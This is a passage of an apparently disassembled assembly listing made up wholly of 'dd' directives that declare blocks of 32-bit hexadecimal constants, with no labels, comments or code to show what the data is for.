dd 0B6F4AC83h, 9DAD67BCh, 459DFEF1h, 0EE75D004h, 0F4A383Ah
dd 92C33C51h, 0B97BD09Eh, 0FD52CC33h, 3D046FD4h, 0D76C0C3Eh
dd 0CCFD054h, 0BC98075Eh, 90B8958Ch, 56DD3450h, 0F7A91709h
dd 4F4C7FADh, 0ACC1D6Bh, 0BCF4B890h, 0FA6762DBh, 0EB9A5013h
dd 0FB9D5CACh, 19FC67Fh, 9569EC39h, 930B7E8Ah, 0E2FB9148h
dd 0E5B10739h, 328FF9C7h, 2F029814h, 4C426BE6h, 83658875h
dd 519222A0h, 7FD501E0h, 38FDBFF4h, 88C7EADCh, 968FECDEh
dd 6CA5329Fh, 162587ACh, 8E0DCCDFh, 0BC24717Ah, 72EBD414h
dd 3F2CA245h, 0BB06DDA0h, 117CB559h, 0E4922BC2h, 38757C86h
dd 3DD366ACh, 0F49F4393h, 81AA6F33h, 0B2F4CFEAh, 1EEC95FCh
dd 0AAE0232Ah, 0AF0DA6D0h, 0B05F244Ch, 66C042AFh, 2A3F408Ch
dd 0B7FF612h, 57761440h, 820A2D5h, 5291B2A7h, 0F988A7FAh
dd 9AC76F5h, 7869BD4Bh, 0C09474CAh, 0E7B4F4D5h, 0CBAB39C8h
dd 0C1256B38h, 56F2F6BBh, 0C4BD560Bh, 7E52D0E1h, 0DE98C782h
dd 0CC7955CDh, 1C71B7EDh, 0D8CA3D57h, 7E710C34h, 0FFED5391h
dd 0CAB0D7DCh, 0D8016894h, 6CFF84CFh, 4B803BECh, 0C1F10C6Ah
dd 2228F991h, 0FC51DE4Bh, 764FA798h, 717767F1h, 9F3CE2EBh
dd 0B1C13597h, 4ECD48AEh, 5969FC47h, 52E160F7h, 0FF7D4C6Eh
dd 0D581556Ch, 22E1587Ch, 49ED9AAh, 1ADBFE80h, 6152A1ADh
dd 6DC2DAD0h, 0D4D459D5h, 225208A0h, 0B233EBBFh, 9806DA4Fh
dd 1498E536h, 0DF63A3F8h, 0A219DBFEh, 31F07562h, 0AE131062h
dd 55DD4997h, 0E9DD3CF0h, 8CD6372Fh, 0F864B665h, 0CDD2C0CEh
dd 54D7E6C3h, 0DB6C4E07h, 0E5A53874h, 26FB28D6h, 41C66AF4h
dd 43F25605h, 0D114F994h, 0BDDB2304h, 0FA396A2Dh, 4C8A9F33h
dd 8B4F0537h, 0F4197CADh, 9576250Dh, 0E2CAC40h, 0D940F928h
dd 588B6947h, 14320571h, 0E0F3D4ACh, 0C45817B3h, 6A33B618h
dd 0EE9D067Bh, 3EF7BE51h, 80FEE624h, 0AEEA0F50h, 0C3780421h
dd 86A2ACACh, 2048D6B8h, 5EBAADF3h, 75C443AAh, 8AD5234Ah
dd 3331474Bh, 80F49547h, 11CAF1A2h, 5214E91Eh, 0C1321613h
dd 0AC2FB964h, 0A2B01389h, 0E97B330Ch, 4E9510E3h, 0D743B98Bh
dd 6DE617D9h, 0E70E3D2Dh, 3E96C9E2h, 1030C2C2h, 90ED51BEh
dd 0CB339F44h, 6F197D95h, 711C1137h, 45844865h, 59F221BDh
dd 99BADB80h, 339A5706h, 0BDD2F22Bh, 68C876D3h, 0F24CFC1Bh
dd 526C9C85h, 5BC6A95Eh, 62C747F6h, 0CABCE514h, 0CE21E398h
dd 16E93B95h, 86CDC845h, 65AD043Ch, 8D04DA92h, 7DF4EEF3h
dd 420354ACh, 32F78642h, 2D7A9BE2h, 0A2C9A00Ah, 0CC84DD2Ch
dd 0BB266F79h, 0B62DC253h, 5648D6C1h, 0FA7CDCC0h, 625745B8h
dd 0D7C8F8FCh, 0A14253B6h, 0EA4AFF12h, 8BEE792Bh, 318FE50Ch
dd 0BA77D458h, 0B9885B10h, 1EB1A7FDh, 45102CCh, 6081A91Eh
dd 76EA2DDCh, 6FEA39F1h, 0E998AC6Dh, 7ABB8D4Dh, 5327EE10h
dd 6DAE445Eh, 21C97F97h
dd 13EA3665h, 70EA47C1h, 0A3CB082Ah, 9C272BBh, 57F391F8h
dd 0F7DF06FDh, 0E018CD81h, 4F72BE31h, 0E2BDE669h, 849B3DE3h
dd 46AFA121h, 69710508h, 0AC119150h, 7104521Bh, 2B46F3Eh
dd 5664C0D5h, 1C37E92Fh, 1D02E9E2h, 0C9822CF2h, 4F439A24h
dd 0B9DE140h, 0DCAC3C54h, 0F3A226E9h, 91B1C0C9h, 0D234D41Bh
dd 8F954333h, 1F0202C4h, 9DB297E4h, 0B5987BA7h, 6F2C31EEh
dd 40E689F3h, 2530237Eh, 1B856190h, 8135636Ah, 0AC4ED40Fh
dd 651B314Ch, 0DC150F1Fh, 7D721633h, 0A38F1E2Ah, 0BA5DD375h
dd 68A53D61h, 9BC6DFB7h, 94610A31h, 7AB5C37h, 9538DA60h
dd 0E2592FF1h, 9FEBCEB0h, 89355EEh, 0FF9ED895h, 35F1D7C1h
dd 79C4C710h, 4C80A0ABh, 0ACB042FAh, 0CE023BB3h, 0E5F1FECAh
dd 0A82D4032h, 0F3A2862Eh, 0F60DB72Eh, 0EFA10075h, 0B7C93444h
dd 21F01C34h, 8D13F9C2h, 7723CE47h, 16A1945Bh, 732DCCBAh
dd 0E7DC149h, 0F25A8CBBh, 994B5725h, 8E82CC6Ah, 0FDC1A052h
dd 429E3E14h, 0EA669096h, 4B83085Eh, 0A70BD6DDh, 4475C791h
dd 0CE7436F4h, 45DD596Fh, 97590EBEh, 7CE7F602h, 0B3CEC2B4h
dd 314146D3h, 1280D042h, 8EC8F50Eh, 0F0ECE948h, 0B2A91666h
dd 8FB04C58h, 0C211CE57h, 4AD704F7h, 0E318C0FAh, 0FEA47B05h
dd 8BA94A70h, 9A8B101h, 0B1D982D3h, 939C06DAh, 5202EC08h
dd 9307DFBh, 6459E05Dh, 5B66EDC4h, 880662E3h, 8A2AD8D2h
dd 0DE1FE1E0h, 0B081CCD0h, 56DFD960h, 0C264CD00h, 18C35DA9h
dd 0BAC1A58Fh, 0D153D326h, 89CDC8CEh, 4AD2E725h, 92E28F23h
dd 2636C5BCh, 0CAE5D03Dh, 5745BC44h, 92F1D9F0h, 0CA0BAA41h
dd 0D56E6F5Dh, 90BEAAA1h, 7FABC9Eh, 1C36F863h, 0D175D13h
dd 9D55B69Dh, 8495FC52h, 0EDC28F06h, 0A99AAD17h, 8C902754h
dd 0F942BD09h, 0EDDF61AEh, 0E3F40331h, 35641BCBh, 0C3674A4Fh
dd 90498898h, 52732290h, 0D30471C0h, 0C472217Eh, 60A39C5Ah
dd 0A2BEA6C8h, 0EEA54884h, 50875B6Dh, 0BA20627Ch, 5CD2EB7Fh
dd 9C863B10h, 393BCF42h, 0E9888BFAh, 2562EEFBh, 68C68A42h
dd 4FE08B53h, 0FE41F03Ah, 391C1B92h, 91CE78AAh, 0A8A94892h
dd 98506233h, 638D69B5h, 9B9BEC8Eh, 91E6D944h, 0DB5DC8C7h
dd 0CCFBCFDCh, 0AAA3E323h, 4E313237h, 221FA791h, 2783F1E5h
dd 6C31151h, 1E933806h, 524C8EE7h, 0B880BA2Bh, 26E6535h
dd 0F1BD320Eh, 0A49D0808h, 9E875FDh, 977E1007h, 1FDCA9FAh
dd 0B475030Dh, 934F448Bh, 23A21A2Ch, 1EE56346h, 966C413Dh
dd 236E92CFh, 0B0D20CDBh, 0A6C1C76Dh, 0A34A966h, 8F9D9D97h
dd 0FFB481AEh, 0FDD2CECDh, 0C9561B5h, 223B4CBh, 0D904FF74h
dd 0D03DE904h, 6620266Bh, 0A706C5B5h, 0A5DFF14Eh, 0EFBC2137h
dd 0B07FB27Dh, 0CB2D7428h, 297D7EEh, 7B6F96A1h, 44CE2467h
dd 7B339174h, 0CF4B5170h, 9C913970h, 0BE15E88Dh, 7A5A83h
dd 4B793721h, 0A8DAACA8h, 5EE32010h, 0AFE07C6Ch, 0E20F475h
dd 0F004660Bh, 49978775h, 343F8D20h, 45209214h, 78E1E42Dh
dd 602C3E8Bh, 82C23C0Dh, 2118AB85h, 7CE9D4D4h, 85A5E002h
dd 0FA5FD320h, 130939B0h, 62687FD9h, 4F3F6B64h, 4384378h
dd 0ABA6722Bh, 0E5CD1390h, 0F3A5645Ch, 632A7D3Ch, 762ACBC1h
dd 0B6DBF0A4h, 2D6D0EBAh, 52AF8534h, 0C7016B14h, 0C94A6415h
dd 1687206Eh, 0EDB52E68h, 26FD6945h, 97B6BA2Bh, 8A9358FFh
dd 0A482F95Fh, 985EDA64h, 6B3E3651h, 0BC0DD7E6h, 0B77E694Ch
dd 42EB686h, 4AB0072Bh, 1D516699h, 46C694BFh, 4CAEDFh
dd 0F354F80Ah, 8A66E618h, 0FF78F99Bh, 7A74B391h, 3B44FAF5h
dd 31627EDFh, 9EE40979h, 3ADD0DD6h, 0E766CAD9h, 0F0104B09h
dd 151D9F7Dh, 27823EF2h, 3B03B4D4h, 439DA95Ch, 1C9DE9C2h
dd 0A4480439h, 2BD54279h, 51361781h, 96021E68h, 0C77638A7h
dd 22BE2751h, 688A8BF8h, 0E649E1E7h, 0F4AA2B99h, 78781064h
dd 0E653FD1Dh, 0EEFAC2FBh, 4CA6BB23h, 9D65906Ch, 8F860D03h
dd 0E35320A3h, 151B3B20h, 3F4B27BEh, 7B83A624h, 3F7ABC85h
dd 0C9A7BEABh, 272D69A7h, 0A387B7EDh, 0D6683A0h, 76F86B9Bh
dd 896D4366h, 8E639B54h, 0D3FE2D94h, 8041F438h, 3AEEA1A7h
dd 0DA2281E1h, 52E577DCh, 94FA7E90h, 7AEC64B3h, 97C287D0h
dd 112B0325h, 0EDE78390h, 9AA31E45h, 3FE9AFB0h, 75F5D156h
dd 0D2F1E718h, 8D09DF55h, 0E9A53FCCh, 2810315Dh, 58E45EABh
dd 7B8A4759h, 3DF7944Bh, 4FE9EF2Eh, 672EB93Ah, 272D994Fh
dd 20D45B8Ch, 6D15E931h, 0E3225187h, 3875BAE0h, 0F71F152Fh
dd 0DB3AE533h, 5D4E42B4h, 0E7A1F98Dh, 112BC522h, 639770B5h
dd 44583115h, 3689E929h, 0BFF8FD3Bh, 5A6113E3h, 83654ACBh
dd 0B516150Ah, 4FC9799Ch, 0A2FE60A4h, 3F5A356Bh, 127E23F6h
dd 2B350322h, 305BC156h, 9529D76Bh, 8A749C54h, 258966B8h
dd 0EF80D84Eh, 0EC534FCCh, 0E31771FEh, 862CA45Eh, 9158DC48h
dd 9FD14637h, 12E89EB7h, 0D7F76BF8h, 9CCA6C18h, 84F896DDh
dd 0C7D2BEF1h, 509E382Eh, 0BFD1FA3Ah, 338ADA34h, 0A055C241h
dd 0C22A0013h, 2C88BD3Eh, 9CB2F162h, 0A16E5677h, 5DE77626h
dd 35326E09h, 85A5B178h, 0F83F8687h, 77E6DC9Ah, 3738749Ah
dd 5D1141C0h, 0C34CEA91h, 0C31BC84Dh, 60EAFEFAh, 8FE6AF9Bh
dd 127669A9h, 5A3A286Fh, 5EB9630Eh, 0D78EB202h, 708A1FAAh
dd 0DB59F51h, 9EDCB839h, 99A4E27Ah, 1BBF822Ch, 6F77ADC0h
dd 5AA6DC54h, 0B195F0CEh, 46C421BDh, 0C1B5EAEAh, 0CCDDC212h
dd 0BAC45093h, 36C5B6B0h, 84DBA464h, 38887C87h, 0DABDCEA2h
dd 772ACD4Ah, 0D96EDA4Eh, 24840AF2h, 0C680B21Ah, 4A9A9B46h
dd 6315E07h, 0CB815829h, 2DA02B97h, 88E025B7h, 12017E90h
dd 47919C58h, 1AB17424h, 0A5EC91h, 530C88E9h, 3127CC6Dh
dd 6AFBB431h, 330B48A3h, 997D1B44h, 43513041h, 20FC8B6Bh
dd 483795C9h, 134EDB82h, 0D40BEBD3h, 9A4CC2CBh, 0ECE855E4h
dd 36F241B4h, 307BB008h, 76457685h, 1E7EE28Ch, 0EFEA874Bh
dd 69B3D46Eh, 6CCCC64Ch, 0E72CDE92h, 2A7984FCh, 0BA723C12h
dd 2DFB82B1h, 3AF363E9h, 8383039h, 11DE6A25h, 230964E8h
dd 0A0AC1906h, 98C16F3Eh, 0B9CBC8AFh, 8EC01FA9h, 20EE7655h
dd 18A74350h, 293AE22Ch, 0F004B929h, 0B36A77D4h, 0B43D1941h
dd 0E25B5776h, 0F8371493h, 0F862317Bh, 25A33054h, 2877887Eh
dd 1BA2ADEBh, 0A73C0C49h, 8CCE6C79h, 5A9EA3C5h, 61F00477h
dd 222D30C1h, 0A3582DE4h, 0C298197Ch, 4E4DF092h, 67B78C8Ch
dd 0D4CC5879h, 7D8B85h, 0E6F58924h, 1EE39654h, 519172EEh
dd 0CE816DFAh, 0F57B0D49h, 5047DD14h, 56D3A412h, 16996B70h
dd 0C96C96B8h, 0D6D4B84Eh, 4FE262B1h, 0A091B5A1h, 42CB746Ah
dd 0C90829B9h, 0DAE9BCC0h, 0E6B15D98h, 1B7595E0h, 0B8D12EE5h
dd 0F242CDFEh, 0A2C29B7Ch, 9853460Fh, 334D9D93h, 245C2B27h
dd 74631E0Ch, 9E3897ECh, 0FC7C8798h, 789F9E02h, 0F53A1F17h
dd 77561D02h, 0AE72051Bh, 711E97D2h, 0FCF6FC0Bh, 0C5AE357Bh
dd 0DEDD6217h, 0C6E84B6Dh, 0A8DBED74h, 1AC0A3A6h, 0D315681h
dd 0AE6F8EEDh, 17AFFABDh, 0C15EF146h, 0DE2D2FB6h, 0FAF4A796h
dd 3B3F4824h, 0BAC04362h, 0F2DB06F3h, 0DDBE3D86h, 0F5F8A236h
dd 5DF740BEh, 0AA48375Dh, 811357C5h, 0C4C8E5F8h, 165F2CF8h
dd 7991BACAh, 12AF0B89h, 0BD4541F2h, 0E1DF18FAh, 20E4874Ah
dd 945FC1D7h, 6C4A521Ch
dd 21297D33h, 28C6FFC7h, 6E99167Ah, 0C426D4BCh, 918C24C0h
dd 47CD83C5h, 0FC9CF713h, 5232785Ch, 7F70302Fh, 0AD32185Dh
dd 64900DBCh, 89C0056Dh, 9DCE70B8h, 0F93153CFh, 0FAC2CA9Ch
dd 8D57D15Bh, 0CD73E1C6h, 7730DD23h, 5AC75BE6h, 0AEC2130Bh
dd 0E1F2BAA7h, 3C4C894Ch, 6278836Ah, 0A4E9D9C3h, 0F2E48A42h
dd 59E26713h, 3C4890C6h, 41C03C69h, 2C70B1B1h, 383441BEh
dd 0BD0F7F1Bh, 0F1F8CF4Ch, 16761FE4h, 889D2121h, 0B03004Fh
dd 9C38A288h, 0EEBB94B5h, 0E3AF6CB6h, 0E2357A03h, 1867505Ah
dd 9A787A95h, 7353FF95h, 0AF39363Ch, 4C09A764h, 0B69CD6h
dd 3AC40744h, 141F9E95h, 3078A068h, 17DFCE33h, 14B07F4Ch
dd 81D7691h, 449527CFh, 37A4C9CBh, 238F3A8h, 8DBD32C1h
dd 0DB7A249Ch, 0EC3FEC1Dh, 4DAB3019h, 0D0E18ACBh, 0F94D0B7Ah
dd 950E3CE3h, 0A5A90C38h, 51FCD1ACh, 7E666517h, 72CF524h
dd 6B2747C8h, 85267335h, 80E45E1Fh, 41781FC1h, 0FBABA5CCh
dd 0DE17B4B6h, 0E505F4CCh, 50A4F3C8h, 82DEFDD2h, 278CE080h
dd 98F4D2B3h, 70FF1EF8h, 0EB41FC71h, 68E1A462h, 6B1C17EAh
dd 2C32F0D1h, 234B16EEh, 0A46E48D9h, 0BB9F44DEh, 9FC0A558h
dd 2BF4B4F2h, 782C5EC7h, 0BAD9B940h, 0D74E908Bh, 0F27CA970h
dd 88BFA43Bh, 0EEB36FD2h, 0C1C9502Ch, 0F552B795h, 549FADEEh
dd 5F8A1BBEh, 808C4DBDh, 552F9B90h, 0F155466Eh, 9F22047Ah
dd 0B44FA617h, 0E2E3CC73h, 97C58B16h, 38A9B757h, 2B0592Ch
dd 5E4C1FADh, 0F81A96C9h, 0B399AC98h, 21F3B39Fh, 0B01ED71Ch
dd 435429CDh, 0EE6111B8h, 128ADB18h, 383BE170h, 2AA728BBh
dd 0C3A4388h, 9FBBA7BFh, 0EF994354h, 61DB48C8h, 7348E518h
dd 0EE63209Fh, 94F3F4B2h, 0DD4206C2h, 3827A88Eh, 0C0660CD8h
dd 7A83B4BBh, 0B2BD55C8h, 55E6AEB6h, 96374F66h, 0B5254729h
dd 0F8499474h, 0A239291h, 43DCAFE3h, 6F5827F4h, 0A6346EFEh
dd 0C021108Bh, 0DA079558h, 21544D07h, 0EA33DE1Eh, 0B26D8CC1h
dd 0E79FE392h, 97735BF9h, 0E76314ECh, 0BF6D53E9h, 0A0B71F82h
dd 1745E46Dh, 0F5D51D91h, 4EFE178Fh, 0F96F5BA3h, 0B41ADD0Ch
dd 7EAA6031h, 0D2FBB40Bh, 69BF7F94h, 3E62FA89h, 0FFAFB67h
dd 0BC3B5ADBh, 8D014727h, 0E2BE8971h, 0B473B731h, 3F3FEB36h
dd 0CC59FF4h, 30C0713Fh, 43AD832Bh, 4E31EE47h, 2F0C064Eh
dd 0A4749256h, 0C981D69h, 8865D65Ah, 0BC6B42B0h, 0B499E5A5h
dd 0A9A5A4B9h, 0CDBE5F31h, 7D343106h, 2FC7E547h, 0D607062Ch
dd 3932DEBAh, 802990F8h, 43B2F9B0h, 0E5716793h, 119A459Bh
dd 0DB13A08h, 0D0FE4F9h, 18982D28h, 0B08B2BDBh, 0B0FB45F3h
dd 0F08B7765h, 17650A77h, 0AB9BBEF9h, 0FC05F5B1h, 0B617A432h
dd 0C8F3F0Dh, 728CFF41h, 922D5F9Dh, 52111493h, 8851613h
dd 0CF0780A4h, 0FFC89F95h, 33D9EE30h, 0CBBE75ACh, 0C4230541h
dd 7CBE3059h, 54154915h, 0B4276C1Dh, 859CCF2Bh, 13736CA9h
dd 6306B3B8h, 0FB484A16h, 7E0470F9h, 6C04964Ah, 0BDCAF88Eh
dd 0F3EB599Dh, 153DCD5Dh, 4E3FD0C3h, 4016404Eh, 3FC0F438h
dd 5C5E436Eh, 0C3EA7662h, 0C24FD122h, 0DFF4EEBBh, 0CEAF46F6h
dd 0D5947C7h, 0AFC6CCB6h, 3EE4DE2Ch, 0CCB0C8A5h, 41D881A2h
dd 0E95AB767h, 0B27FF31Eh, 480615B7h, 5F06F058h, 0D85B90EEh
dd 370FDBC2h, 502BFD38h, 0F2B7688Eh, 0BC8B9386h, 0BBD9D6B8h
dd 0C75A7FABh, 64195DF6h, 0FD3D8951h, 66685CBCh, 0C5FA85C0h
dd 0D78234D2h, 50907A90h, 964F583Bh, 0F75CD1C3h, 0B7ADA050h
dd 0E73FB770h, 82323F52h, 62D5DAD2h, 5F6E8781h, 0DEC73784h
dd 0F0E36876h, 6B9D8E09h, 0B40AB69Bh, 0B1AF1AE8h, 0C7AB14F6h
dd 0DA0B540h, 0E896C4A5h, 7F0A555Ah, 518B4993h, 2BE0E04Dh
dd 558ABA3Eh, 2C88570h, 0CAC588B0h, 6ABC07E7h, 6114A46Ah
dd 41D44B28h, 0C4672895h, 0D6EA32E7h, 5AC75254h, 3EEC280Ah
dd 657DC95h, 0B5C8E265h, 22E5EC1Ah, 0BB664A89h, 6107E190h
dd 820F8AC1h, 9FBEA6E2h, 175823E1h, 0BD3266F7h, 45371FC3h
dd 61901054h, 86AFC5CEh, 1DD2313h, 40578D1Fh, 75DC1A33h
dd 1AFF5F7Eh, 106AE4FCh, 0A7869535h, 58622A43h, 1D80CEDh
dd 4654D2F1h, 2500EDA1h, 3638E9B7h, 61473D16h, 96B01F5Bh
dd 6698DEB2h, 9FDDEE6Bh, 971F5810h, 535A37C3h, 74CCE31Fh
dd 6989079Dh, 0B2DDAB65h, 391F7601h, 36C67BEAh, 0D8391E4Eh
dd 0C6FC628Eh, 2061DE25h, 35971864h, 49AE3018h, 0B28533Dh
dd 0D4D7EBB3h, 87FD4CBEh, 451ED1EBh, 8E80A987h, 9ED1F993h
dd 24FF5CFFh, 633BDEAAh, 38335CBBh, 7F587146h, 180746B8h
dd 0F34C1096h, 1FD5FA9Fh, 3EF69EDBh, 0CCEA4BF2h, 93D354ABh
dd 0E4926F64h, 0CB75E2E6h, 83E5688Fh, 6696E407h, 43F9FB99h
dd 0EB7DAD76h, 459FB906h, 140CBF3Ch, 0DC66B3D6h, 0D535B9E8h
dd 0E65934FDh, 3B5E4FF6h, 674DF7D3h, 59377A3Dh, 0A9D2542Eh
dd 0CBCF08B8h, 0B10AA384h, 54880875h, 0C8A4EC4Ch, 5001E2BAh
dd 0AE4A0833h, 3DDDAC33h, 0CB148E52h, 96F62DE3h, 5225D5F2h
dd 18EC593Fh, 50B4949Eh, 0F865EE02h, 9E912B68h, 97415221h
dd 0A33A12Ah, 0BE28692h, 0EBC3126Fh, 7238E600h, 75D332A8h
dd 5F6323DDh, 3B35C4FAh, 4A736A59h, 0B0536F45h, 75D58B7Ah
dd 88F1CC11h, 7AAAAD4Ch, 418075CEh, 0D7763AD9h, 45B06DF2h
dd 0FE50D48Ch, 0FFF7EF18h, 0F5A8D171h, 0EBBBE61Ch, 160D9237h
dd 0EB2387DFh, 50990D89h, 0EA6FB2B2h, 4C2CC401h, 0FE058450h
dd 0BAB29DF5h, 440EB379h, 32824C42h, 11248811h, 5BBFEEC4h
dd 82CD4857h, 23B5D911h, 1A4F799Ah, 6B186ADAh, 7E6E7CFBh
dd 8CF9A41Bh, 5CBF74Dh, 8E907DE7h, 6A5818E1h, 0F8D6B062h
dd 9EEBB7E9h, 0E5226868h, 5BDCD3DEh, 3FB3FC38h, 894D3536h
dd 750671F2h, 0FA5EAC21h, 436C9389h, 0D58A2945h, 252B35A6h
dd 523EB7E6h, 492D34AAh, 0D6864E05h, 6E74DDA8h, 0E84AEA56h
dd 896D49ACh, 23E1FC0Bh, 0E3822862h, 46181D72h, 0B91AD2C2h
dd 0C6CE6693h, 3ADB559Bh, 3D17899h, 77B0C92Eh, 0D02D4AC6h
dd 0B252A7Dh, 0D700B573h, 0F9752FBDh, 38588041h, 0AA995665h
dd 9176C7DEh, 6D093497h, 0C5468E1Dh, 0E3261BBAh, 19A5DF78h
dd 104A014Ah, 8A5449ACh, 0A42094DFh, 0C8B8883Fh, 4323AF9Eh
dd 921BC08h, 0CBE26587h, 7F9972F2h, 14F7450Ch, 6F519AE7h
dd 0B784B450h, 7AD0A5Eh, 29B8787h, 36AFF6C8h, 7F5A4E2Ch
dd 97620400h, 0ACCF689Eh, 9EF449CBh, 0B17655B5h, 1A3D97D9h
dd 45E7D980h, 3CF32DAh, 0EBAE91D5h, 0E8504C37h, 322C041Fh
dd 8B093669h, 0D9397188h, 27D469D1h, 0A89DFC3Ah, 185497DEh
dd 412B3A2Eh, 59290CB1h, 7E0095E4h, 259EA38Eh, 484BB22Eh
dd 0C371E69Bh, 2F870F63h, 0EF814467h, 3E46AC30h, 9B0AB4B3h
dd 64D9520Ch, 0E7EB80E4h, 22A8600Ch, 8032AA2h, 11ECA2AEh
dd 31650696h, 0CA021633h, 1D096158h, 0E8CF3281h, 0CBB3F9F9h
dd 82C2B17Bh, 0D184444Ah, 0B1ED6AEBh, 0CF325689h, 0F346D3BAh
dd 0C85F1292h, 57200FE6h, 8DA2F3D3h, 89840F0Bh, 0AB8081FEh
dd 9D5D0384h, 8CAB2399h, 0C0D145F6h, 0F20B4354h, 1AE803D4h
dd 0C2E5E92Eh, 24E7F7AEh, 0D791CEB7h, 7D685196h, 0D4662F64h
dd 41759F1Ch, 7566C8A1h, 0AD201FE5h, 17565443h, 0C46E4E93h
dd 0C733D782h, 3C6FAFF6h, 0AD186386h, 0D023E1D0h, 0A9AB32B7h
dd 88F4B7F6h, 7164A3C3h
dd 7116BFA9h, 88EAE148h, 2EAB488Bh, 8994702Ch, 472B0305h
dd 8751CEF9h, 7859CB0Ch, 2AB219E4h, 3D002594h, 958C8A42h
dd 0C50A69h, 91861B02h, 51CBF143h, 1F23934Dh, 46C411AFh
dd 0D0043FB8h, 570C9B2Bh, 0D1F3EA0Bh, 0E75256D8h, 55252D0Dh
dd 0ABAB3980h, 0B4033FC9h, 48A2EAEBh, 6D3D76B7h, 2F1B6DC0h
dd 0AACAC05Ah, 229A8C7Fh, 4E3A71D2h, 3F270E49h, 50B15B79h
dd 6B0A077h, 6FE6513Ah, 4BBEE28Ch, 985F7294h, 0E393AA09h
dd 348BC99Bh, 0CDA68871h, 47AA5036h, 1910B7A7h, 43E3EA19h
dd 0E5ECDF0Ch, 0D9F8AD3h, 3D648BECh, 0FDEB79ADh, 1152717Ah
dd 0C4AEA878h, 706AD921h, 9B1AE6E0h, 6C9808A5h, 66B94DA3h
dd 17D9204Eh, 0F35664B0h, 84C447D2h, 50FDB24Dh, 9EE699D8h
dd 2F17B985h, 7C3624A3h, 281796E5h, 9C944DC2h, 0CE412A50h
dd 0DFDADEFDh, 5CBFA9B4h, 1770F52Ch, 0A5BEAD7h, 1232D946h
dd 0CDB3819h, 0B17EDF4Bh, 1A9145B4h, 6BEB2C38h, 5DBC26Fh
dd 7512B1B2h, 1809249Fh, 0DADB0DECh, 4531062Fh, 0A3FB68CEh
dd 0F441C890h, 0A7D49362h, 8E9C03B0h, 0A8D68BF6h, 0D732153Fh
dd 67D47EF5h, 703164A9h, 21A1DD74h, 0CF0533EEh, 4C5B1043h
dd 6E8107C4h, 4B8964EBh, 1BCA469Dh, 409F0BD7h, 25E905BAh
dd 69ADCAFAh, 0FFDA0A60h, 6983E918h, 0A4969B45h, 1032C383h
dd 1F60A7A8h, 3311CBB0h, 4715E39Eh, 0C5D61232h, 0F46104A2h
dd 3B444E5Dh, 0C07AD05Ch, 0A9B92CBAh, 18BA007h, 5BDC3EADh
dd 0A3A51C54h, 190BF7A6h, 1CC11AE8h, 962EE510h, 2E4B5E8Ch
dd 50CFB1B4h, 0AB06F48Dh, 27C4709Ch, 616A1B3Fh, 88F811D8h
dd 959685F2h, 0A498E1B7h, 8A91FDD3h, 59F09350h, 0DB976A9Fh
dd 4772394Ah, 0A441E7FBh, 7B9EB106h, 84CBBDE6h, 447D6568h
dd 0A1331A47h, 0BCE9DE8Ah, 5316E869h, 2CBCCCE3h, 0ACFF824Fh
dd 43A67890h, 861759BBh, 255BF668h, 71B6060Ch, 62591A25h
dd 0C0DB79C5h, 5C1EECF6h, 4AC2E64Eh, 74EB387h, 986022h
dd 0DAED3770h, 7AE57806h, 1469E677h, 0DAE07034h, 5CB91F2Dh
dd 0EBFC1457h, 0EA42E96Ah, 931DDC26h, 3EE9ED5Eh, 25E01EABh
dd 95B5FC69h, 27A57C7Ch, 3F26FCA3h, 0ED33792Ah, 0BC70EDCCh
dd 29F8B5E7h, 0E0BB7C49h, 0C329A210h, 435A6133h, 563B1F6Ah
dd 9FCD3093h, 2247F49Dh, 0BFFA374h, 18C03BE1h, 8388071Bh
dd 0E7AEF1ECh, 8891B7A2h, 3718A9B9h, 0C6EFE464h, 0AD878EEDh
dd 10C93E61h, 0FFDD6BB2h, 17E3FCD6h, 8914D225h, 3243017Fh
dd 0C08D3D47h, 0F38A18E3h, 0D18B6D3Ah, 5544153Fh, 0D55D8830h
dd 0EF215924h, 0F1A862FAh, 0BFE2299Eh, 5C835D60h, 36E877A0h
dd 9B830D8Ah, 6BBF9DE5h, 0A2555E7Dh, 0B7289818h, 0AD6EFB4Dh
dd 5FBA7A26h, 54B582E7h, 0BA5F2711h, 42EF8EC6h, 214CC88h
dd 7A9AA280h, 6618AB29h, 5C499372h, 0BBB33DF5h, 317A991Dh
dd 5BCAEF9Ch, 55B8E80Ch, 0A6EE96CDh, 2B317C89h, 5F3B4B0Eh
dd 0D8126FA0h, 1EB3BAA6h, 0C79879BCh, 54CF0B0h, 0AC493BB3h
dd 0E7493846h, 1892E3Bh, 254B45BBh, 8A955AFAh, 0D584CBDEh
dd 0EC4C3E9Ah, 0F25F4319h, 0BFD7462Ch, 1A5EF71Eh, 5FE90EBh
dd 0EC61DB9Ah, 0F22B55F8h, 2B9D2406h, 98BB4006h, 0FC9977ECh
dd 93245612h, 0CEF850CFh, 6DD53F35h, 0A3223A75h, 245CF05Bh
dd 0E856EB60h, 0AFF869FAh, 36691343h, 0CEA80505h, 0B52E1547h
dd 47BF0827h, 9189CE1Dh, 0DFB6D43h, 0CC711C00h, 9802ED06h
dd 0AAD461ABh, 0E899CC9Ch, 3DF6AE4Bh, 0BD68D5Ah, 0ACF944ADh
dd 0FD7249DFh, 0EE3AD7DFh, 0B4FEA0E4h, 59C9C0FBh, 17813EC5h
dd 0CCC8566Dh, 202571A6h, 5E22A212h, 9B430770h, 77FE135Ah
dd 346CA32Ch, 0D3995F5Ah, 0F7CF9C01h, 517583B5h, 0FFC742E2h
dd 228E4DA7h, 0C50AFE60h, 0ED8A2007h, 0C9125DB9h, 96BAD70h
dd 90A3FD65h, 12A244EFh, 0A61DCE48h, 6F62071Fh, 9EBAB422h
dd 0AD506D7h, 2870A328h, 0E758B4FDh, 83FEEDEDh, 0A05AB05h
dd 0DB900830h, 0C6FD3A32h, 50BD014Bh, 2BA6A425h, 3A822683h
dd 42E62800h, 518843FBh, 0BE649C15h, 2B3C95E7h, 0BD693C44h
dd 0F5A180A9h, 9F73C8C4h, 4C1D2D8Ch, 1FE05D7Fh, 0B4DF5A35h
dd 0D058B1BEh, 11008CB8h, 0BFEEF8C3h, 8C15BC69h, 73B50374h
dd 815F56BDh, 0DFEB11F3h, 8BCD91A7h, 9953C216h, 0DB78E8A8h
dd 0BF5504A9h, 747F8262h, 38679260h, 0F31AFBD7h, 345A464Eh
dd 267ABA9Ah, 114B3B1Ch, 0BB85384Dh, 69459A89h, 6B9C694Ch
dd 0C512EFEEh, 0C7B72D45h, 0A98CEADCh, 0CBAD30EEh, 79B41AFh
dd 0C520B53Ah, 0CC042D5Ch, 0C36D0818h, 0B58B46B1h, 0F7930C37h
dd 7C0D8A3Bh, 0EDF82415h, 99DC48F8h, 8D868350h, 63C85153h
